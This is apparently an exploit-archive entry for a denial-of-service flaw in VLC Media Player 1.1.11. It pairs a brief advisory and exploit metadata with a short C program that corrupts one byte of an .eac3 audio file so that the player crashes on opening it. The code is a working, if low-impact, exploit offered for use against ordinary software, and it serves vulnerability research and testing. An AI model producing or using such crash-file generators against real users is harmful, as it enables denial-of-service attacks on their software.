// source: https://www.securityfocus.com/bid/64626/info
VLC Media Player is prone to a denial-of-service vulnerability.
Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.
VLC Media Player 1.1.11 is vulnerable; other versions may also be affected.# Exploit Title: VLC v. 1.1.11 .eac3 DOS# Date: 3/14/2012# Author: Dan Fosco# Vendor or Software Link: www.videolan.org# Version: 1.1.11# Category:: local# Google dork: n/a# Tested on: Windows XP SP3 (64-bit)# Demo site: n/a#include <stdio.h>
int main(int argc, char *argv[]){
FILE *f;
f = fopen(argv[1],"r+");
fseek(f, 5, SEEK_SET);
fputc('\x00', f);
fclose(f);return 0;}//code updates eac3 file, can find samples on videolan ftp server